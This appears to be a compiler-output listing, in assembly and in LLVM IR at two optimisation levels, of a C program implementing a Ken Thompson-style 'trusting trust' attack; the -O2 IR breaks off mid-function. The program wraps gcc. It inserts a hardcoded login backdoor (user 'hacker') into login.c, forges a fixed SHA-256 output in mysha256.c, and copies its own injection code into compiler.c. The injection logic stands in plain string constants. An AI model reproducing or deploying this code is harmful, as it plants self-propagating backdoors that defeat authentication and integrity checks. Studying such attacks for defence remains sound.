mov    %rbp,%rdi
call   1080 <strlen@plt>
mov    %eax,%r13d
mov    0x10(%rsp),%rax
lea    (%rax,%r13,1),%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rax,%rbx
lea    0xcff(%rip),%rsi
mov    %r15,%rdi
call   1170 <strstr@plt>
mov    %rax,%r12
mov    %r12d,%edx
sub    %r15d,%edx
mov    %rbx,%rdi
mov    %r15,%rsi
call   1040 <strncpy@plt>
mov    %rbx,%rdi
mov    %rbp,%rsi
mov    %r13d,%edx
call   10d0 <strncat@plt>
mov    %rbx,%rdi
mov    %r12,%rsi
call   1140 <strcat@plt>
mov    %r15,%rdi
call   1030 <free@plt>
mov    0x8(%rsp),%r12
add    %r12d,%r13d
mov    %rbx,%r15
jmp    14cf <main+0x27f>
mov    0x8(%rsp),%r12
lea    0x1914(%rip),%rsi
mov    %r14,%rdi
call   1170 <strstr@plt>
test   %rax,%rax
je     16ce <main+0x47e>
lea    0xca1(%rip),%rsi
lea    0xbd0(%rip),%rax
lea    0xb1a(%rip),%rcx
lea    0x20(%rsp),%r13
mov    %r13,%rdi
mov    $0x22,%edx
mov    $0x22,%r8d
mov    $0xa,%r9d
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x22
push   %rsi
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x22
push   %rax
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0xa
call   1150 <sprintf@plt>
add    $0x4f0,%rsp
mov    %r13,%rdi
call   1050 <puts@plt>
mov    %r13,%rdi
call   1080 <strlen@plt>
mov    %eax,%r14d
mov    0x10(%rsp),%rdi
add    %eax,%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rax,%rbx
lea    0x176c(%rip),%rsi
mov    %r15,%rdi
call   1170 <strstr@plt>
mov    %rax,%rbp
mov    %ebp,%edx
sub    %r15d,%edx
mov    %rbx,%rdi
mov    %r15,%rsi
call   1040 <strncpy@plt>
mov    %rbx,%rdi
mov    %r13,%rsi
mov    %r14d,%edx
call   10d0 <strncat@plt>
mov    %rbx,%rdi
mov    %rbp,%rsi
call   1140 <strcat@plt>
mov    %r15,%rdi
call   1030 <free@plt>
add    %r14d,%r12d
mov    %rbx,%r15
mov    %r12d,%r13d
lea    0x173a(%rip),%rdx
xor    %ebx,%ebx
lea    0x20(%rsp),%r14
mov    %r14,%rdi
mov    $0x1f4,%esi
mov    0x18(%rsp),%rcx
xor    %eax,%eax
call   10c0 <snprintf@plt>
lea    0x1728(%rip),%rsi
mov    %r14,%rdi
call   1120 <popen@plt>
mov    %rax,%rbp
mov    %r15,%rdi
mov    $0x1,%esi
mov    %r13d,%edx
mov    %rax,%rcx
call   1160 <fwrite@plt>
mov    %r15,%rdi
call   1050 <puts@plt>
mov    %rbp,%rdi
call   10b0 <pclose@plt>
mov    %r15,%rdi
call   1030 <free@plt>
mov    %ebx,%eax
add    $0x2738,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [24 x i8] c"Insufficient arguments\0A\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [175 x i8] c"if(strstr(filename, %ccompiler%c) != NULL){%c%c%cprintf(%c4ab998d76103ef5771c7ed9b2b89ddeced9f315995c901226ef655c4281be255 %c);%c%c%cputs(filename);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.7 = [11 x i8] c"mysha256.c\00"
@.str.8 = [16 x i8] c"SHA256_CTX ctx;\00"
@.str.9 = [3163 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_SHA256 = %c%s%c;%c%c%cif(strstr(sourceFilename, %cmysha256.c%c) != NULL){%c%c%cchar stringToInject[300];%c%c%csnprintf(stringToInject, 300, TEXT_INJECT_SHA256, 34, 34, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cSHA256_CTX ctx;%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_SHA256, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00"
@.str.10 = [11 x i8] c"compiler.c\00"
@.str.11 = [4 x i8] c"%s\0A\00"
@.str.12 = [26 x i8] c"char compileCommand[500];\00"
@.str.13 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.14 = [2 x i8] c"w\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i32*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8*
%12 = alloca i32
%13 = alloca i8*
%14 = alloca [200 x i8]
%15 = alloca i32
%16 = alloca i32
%17 = alloca i8*
%18 = alloca i8*
%19 = alloca i32
%20 = alloca i8*
%21 = alloca [300 x i8]
%22 = alloca i32
%23 = alloca i32
%24 = alloca i8*
%25 = alloca i8*
%26 = alloca i32
%27 = alloca i8*
%28 = alloca [10000 x i8]
%29 = alloca i32
%30 = alloca i32
%31 = alloca i8*
%32 = alloca i8*
%33 = alloca i32
%34 = alloca [500 x i8]
%35 = alloca i32*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%36 = load i32, i32* %4
%37 = icmp slt i32 %36, 4
br i1 %37, label %38, label %40
38: ; preds = %2
%39 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
store i32 1, i32* %3
br label %216
40: ; preds = %2
%41 = load i8**, i8*** %5
%42 = getelementptr inbounds i8*, i8** %41, i64 1
%43 = load i8*, i8** %42
store i8* %43, i8** %6
%44 = load i8**, i8*** %5
%45 = getelementptr inbounds i8*, i8** %44, i64 3
%46 = load i8*, i8** %45
store i8* %46, i8** %7
%47 = load i8*, i8** %6
%48 = call i32* @fopen(i8* %47, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %48, i32** %8
%49 = load i32*, i32** %8
%50 = icmp eq i32* %49, null
br i1 %50, label %51, label %53
51: ; preds = %40
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %216
53: ; preds = %40
%54 = load i32*, i32** %8
%55 = load i32, i32* @SEEK_END
%56 = call i32 @fseek(i32* %54, i32 0, i32 %55)
%57 = load i32*, i32** %8
%58 = call i32 @ftell(i32* %57)
store i32 %58, i32* %9
%59 = load i32*, i32** %8
%60 = call i32 @rewind(i32* %59)
%61 = load i32, i32* %9
%62 = add nsw i32 %61, 1
store i32 %62, i32* %10
%63 = load i32, i32* %10
%64 = call i64 @malloc(i32 %63)
%65 = inttoptr i64 %64 to i8*
store i8* %65, i8** %11
%66 = load i8*, i8** %11
%67 = load i32, i32* %9
%68 = sext i32 %67 to i64
%69 = getelementptr inbounds i8, i8* %66, i64 %68
store i8 0, i8* %69
%70 = load i8*, i8** %11
%71 = load i32, i32* %9
%72 = load i32*, i32** %8
%73 = call i32 @fread(i8* %70, i32 1, i32 %71, i32* %72)
store i32 %73, i32* %12
%74 = load i32*, i32** %8
%75 = call i32 @fclose(i32* %74)
store i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i8** %13
%76 = load i8*, i8** %6
%77 = call i8* @strstr(i8* %76, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%78 = icmp ne i8* %77, null
br i1 %78, label %79, label %115
79: ; preds = %53
%80 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%81 = load i8*, i8** %13
%82 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %80, i32 200, i8* %81, i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%83 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%84 = call i32 @strlen(i8* %83)
store i32 %84, i32* %15
%85 = load i32, i32* %10
%86 = load i32, i32* %15
%87 = add nsw i32 %85, %86
store i32 %87, i32* %16
%88 = load i32, i32* %16
%89 = call i64 @calloc(i32 %88, i32 1)
%90 = inttoptr i64 %89 to i8*
store i8* %90, i8** %17
%91 = load i8*, i8** %11
%92 = call i8* @strstr(i8* %91, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
store i8* %92, i8** %18
%93 = load i8*, i8** %18
%94 = load i8*, i8** %11
%95 = ptrtoint i8* %93 to i64
%96 = ptrtoint i8* %94 to i64
%97 = sub i64 %95, %96
%98 = trunc i64 %97 to i32
store i32 %98, i32* %19
%99 = load i8*, i8** %17
%100 = load i8*, i8** %11
%101 = load i32, i32* %19
%102 = call i32 @strncpy(i8* %99, i8* %100, i32 %101)
%103 = load i8*, i8** %17
%104 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%105 = load i32, i32* %15
%106 = call i32 @strncat(i8* %103, i8* %104, i32 %105)
%107 = load i8*, i8** %17
%108 = load i8*, i8** %18
%109 = call i32 @strcat(i8* %107, i8* %108)
%110 = load i8*, i8** %11
%111 = call i32 @free(i8* %110)
%112 = load i8*, i8** %17
store i8* %112, i8** %11
%113 = load i32, i32* %16
%114 = sub nsw i32 %113, 1
store i32 %114, i32* %9
br label %115
115: ; preds = %79, %53
store i8* getelementptr inbounds ([175 x i8], [175 x i8]* @.str.6, i64 0, i64 0), i8** %20
%116 = load i8*, i8** %6
%117 = call i8* @strstr(i8* %116, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
%118 = icmp ne i8* %117, null
br i1 %118, label %119, label %155
119: ; preds = %115
%120 = getelementptr inbounds [300 x i8], [300 x i8]* %21, i64 0, i64 0
%121 = load i8*, i8** %20
%122 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %120, i32 300, i8* %121, i32 34, i32 34, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%123 = getelementptr inbounds [300 x i8], [300 x i8]* %21, i64 0, i64 0
%124 = call i32 @strlen(i8* %123)
store i32 %124, i32* %22
%125 = load i32, i32* %10
%126 = load i32, i32* %22
%127 = add nsw i32 %125, %126
store i32 %127, i32* %23
%128 = load i32, i32* %23
%129 = call i64 @calloc(i32 %128, i32 1)
%130 = inttoptr i64 %129 to i8*
store i8* %130, i8** %24
%131 = load i8*, i8** %11
%132 = call i8* @strstr(i8* %131, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.8, i64 0, i64 0))
store i8* %132, i8** %25
%133 = load i8*, i8** %25
%134 = load i8*, i8** %11
%135 = ptrtoint i8* %133 to i64
%136 = ptrtoint i8* %134 to i64
%137 = sub i64 %135, %136
%138 = trunc i64 %137 to i32
store i32 %138, i32* %26
%139 = load i8*, i8** %24
%140 = load i8*, i8** %11
%141 = load i32, i32* %26
%142 = call i32 @strncpy(i8* %139, i8* %140, i32 %141)
%143 = load i8*, i8** %24
%144 = getelementptr inbounds [300 x i8], [300 x i8]* %21, i64 0, i64 0
%145 = load i32, i32* %22
%146 = call i32 @strncat(i8* %143, i8* %144, i32 %145)
%147 = load i8*, i8** %24
%148 = load i8*, i8** %25
%149 = call i32 @strcat(i8* %147, i8* %148)
%150 = load i8*, i8** %11
%151 = call i32 @free(i8* %150)
%152 = load i8*, i8** %24
store i8* %152, i8** %11
%153 = load i32, i32* %23
%154 = sub nsw i32 %153, 1
store i32 %154, i32* %9
br label %155
155: ; preds = %119, %115
store i8* getelementptr inbounds ([3163 x i8], [3163 x i8]* @.str.9, i64 0, i64 0), i8** %27
%156 = load i8*, i8** %6
%157 = call i8* @strstr(i8* %156, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.10, i64 0, i64 0))
%158 = icmp ne i8* %157, null
br i1 %158, label %159, label %200
159: ; preds = %155
%160 = getelementptr inbounds [10000 x i8], [10000 x i8]* %28, i64 0, i64 0
%161 = load i8*, i8** %27
%162 = load i8*, i8** %13
%163 = load i8*, i8** %20
%164 = load i8*, i8** %27
%165 = call i32 @sprintf(i8* %160, i8* %161, i32 34, i8* %162, i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* %163, i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* %164, i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%166 = getelementptr inbounds [10000 x i8], [10000 x i8]* %28, i64 0, i64 0
%167 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.11, i64 0, i64 0), i8* %166)
%168 = getelementptr inbounds [10000 x i8], [10000 x i8]* %28, i64 0, i64 0
%169 = call i32 @strlen(i8* %168)
store i32 %169, i32* %29
%170 = load i32, i32* %10
%171 = load i32, i32* %29
%172 = add nsw i32 %170, %171
store i32 %172, i32* %30
%173 = load i32, i32* %30
%174 = call i64 @calloc(i32 %173, i32 1)
%175 = inttoptr i64 %174 to i8*
store i8* %175, i8** %31
%176 = load i8*, i8** %11
%177 = call i8* @strstr(i8* %176, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0))
store i8* %177, i8** %32
%178 = load i8*, i8** %32
%179 = load i8*, i8** %11
%180 = ptrtoint i8* %178 to i64
%181 = ptrtoint i8* %179 to i64
%182 = sub i64 %180, %181
%183 = trunc i64 %182 to i32
store i32 %183, i32* %33
%184 = load i8*, i8** %31
%185 = load i8*, i8** %11
%186 = load i32, i32* %33
%187 = call i32 @strncpy(i8* %184, i8* %185, i32 %186)
%188 = load i8*, i8** %31
%189 = getelementptr inbounds [10000 x i8], [10000 x i8]* %28, i64 0, i64 0
%190 = load i32, i32* %29
%191 = call i32 @strncat(i8* %188, i8* %189, i32 %190)
%192 = load i8*, i8** %31
%193 = load i8*, i8** %32
%194 = call i32 @strcat(i8* %192, i8* %193)
%195 = load i8*, i8** %11
%196 = call i32 @free(i8* %195)
%197 = load i8*, i8** %31
store i8* %197, i8** %11
%198 = load i32, i32* %30
%199 = sub nsw i32 %198, 1
store i32 %199, i32* %9
br label %200
200: ; preds = %159, %155
%201 = getelementptr inbounds [500 x i8], [500 x i8]* %34, i64 0, i64 0
%202 = load i8*, i8** %7
%203 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %201, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* %202)
%204 = getelementptr inbounds [500 x i8], [500 x i8]* %34, i64 0, i64 0
%205 = call i32* @popen(i8* %204, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.14, i64 0, i64 0))
store i32* %205, i32** %35
%206 = load i8*, i8** %11
%207 = load i32, i32* %9
%208 = load i32*, i32** %35
%209 = call i32 @fwrite(i8* %206, i32 1, i32 %207, i32* %208)
%210 = load i8*, i8** %11
%211 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.11, i64 0, i64 0), i8* %210)
%212 = load i32*, i32** %35
%213 = call i32 @pclose(i32* %212)
%214 = load i8*, i8** %11
%215 = call i32 @free(i8* %214)
br label %216
216: ; preds = %200, %51, %38
%217 = load i32, i32* %3
ret i32 %217
}

LLVM IR (-O2):
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [175 x i8] c"if(strstr(filename, %ccompiler%c) != NULL){%c%c%cprintf(%c4ab998d76103ef5771c7ed9b2b89ddeced9f315995c901226ef655c4281be255 %c);%c%c%cputs(filename);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.7 = [11 x i8] c"mysha256.c\00"
@.str.8 = [16 x i8] c"SHA256_CTX ctx;\00"
@.str.9 = [3163 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_SHA256 = %c%s%c;%c%c%cif(strstr(sourceFilename, %cmysha256.c%c) != NULL){%c%c%cchar stringToInject[300];%c%c%csnprintf(stringToInject, 300, TEXT_INJECT_SHA256, 34, 34, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cSHA256_CTX ctx;%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_SHA256, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00"
@.str.10 = [11 x i8] c"compiler.c\00"
@.str.12 = [26 x i8] c"char compileCommand[500];\00"
@.str.13 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.14 = [2 x i8] c"w\00"
@str = [23 x i8] c"Insufficient arguments\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [200 x i8]
%4 = alloca [300 x i8]
%5 = alloca [10000 x i8]
%6 = alloca [500 x i8]
%7 = icmp slt i32 %0, 4
br i1 %7, label %8, label %10
8: ; preds = %2
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0))
br label %104
10: ; preds = %2
%11 = getelementptr inbounds i8*, i8** %1, i64 1
%12 = load i8*, i8** %11
%13 = getelementptr inbounds i8*, i8** %1, i64 3
%14 = load i8*, i8** %13
%15 = tail call i32* @fopen(i8* %12, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%16 = icmp eq i32* %15, null
br i1 %16, label %17, label %19
17: ; preds = %10
%18 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
br label %104
19: ; preds = %10
%20 = load i32, i32* @SEEK_END
%21 = tail call i32 @fseek(i32* %15, i32 0, i32 %20)
%22 = tail call i32 @ftell(i32* %15)
%23 = tail call i32 @rewind(i32* %15)
%24 = add nsw i32 %22, 1
%25 = tail call i64 @malloc(i32 %24)
%26 = inttoptr i64 %25 to i8*
%27 = sext i32 %22 to i64
%28 = getelementptr inbounds i8, i8* %26, i64 %27
store i8 0, i8* %28
%29 = tail call i32 @fread(i8* %26, i32 1, i32 %22, i32* %15)
%30 = tail call i32 @fclose(i32* %15)
%31 = tail call i8* @strstr(i8* dereferenceable(1) %12, i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%32 = icmp eq i8* %31, null
br i1 %32, label %49, label %33
33: ; preds = %19
%34 = getelementptr inbounds [200 x i8], [200 x i8]* %3, i64 0, i64 0
